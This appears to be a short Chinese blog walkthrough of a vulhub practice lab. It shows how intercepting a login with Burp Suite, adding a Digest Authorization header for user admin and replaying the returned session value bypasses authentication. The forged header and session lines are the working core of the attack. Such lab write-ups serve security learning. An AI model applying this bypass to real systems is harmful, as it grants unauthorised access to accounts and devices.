一、启动vulhub靶场环境
开启vulhub靶场,docker ps 查看端口
![](https://i-blog.csdnimg.cn/blog_migrate/263a6e8c1e9f58705f5d0d591c604020.png)
浏览器查看
![](https://i-blog.csdnimg.cn/blog_migrate/a2320042a4e7660003b461fab1361063.png)
靶场8080端口与burpsuit默认端口冲突,需要修改端口
![](https://i-blog.csdnimg.cn/blog_migrate/396d7d994557d67191664ba243dc37ce.png)
二、抓包修改
提交用户admin,点击登录,抓包
![](https://i-blog.csdnimg.cn/blog_migrate/c1dcc4248b91c1b3667f373970ad616b.png)
发送到重放器,添加 Authorization: Digest username=admin
![](https://i-blog.csdnimg.cn/blog_migrate/946fb6019dd98d7f274d04c1d5382162.png)
我们只提交了用户admin,服务器返回200,并且包含session
三、利用获取到的session
-http-session-=29::http.session::0f6a100e4b43ab064e1501be374440a5
重新抓包进行修改
Authorization: Digest username=admin
-http-session-=29::http.session::0f6a100e4b43ab064e1501be374440a5
username=admin (注意:这行放在Connection: close之后)
![](https://i-blog.csdnimg.cn/blog_migrate/8b0aa8e1676885ad04dfb387dcc689fb.png)
发送,认证绕过成功
![](https://i-blog.csdnimg.cn/blog_migrate/29fdf1f21bcb98e2db1cd5f292f79b6b.png)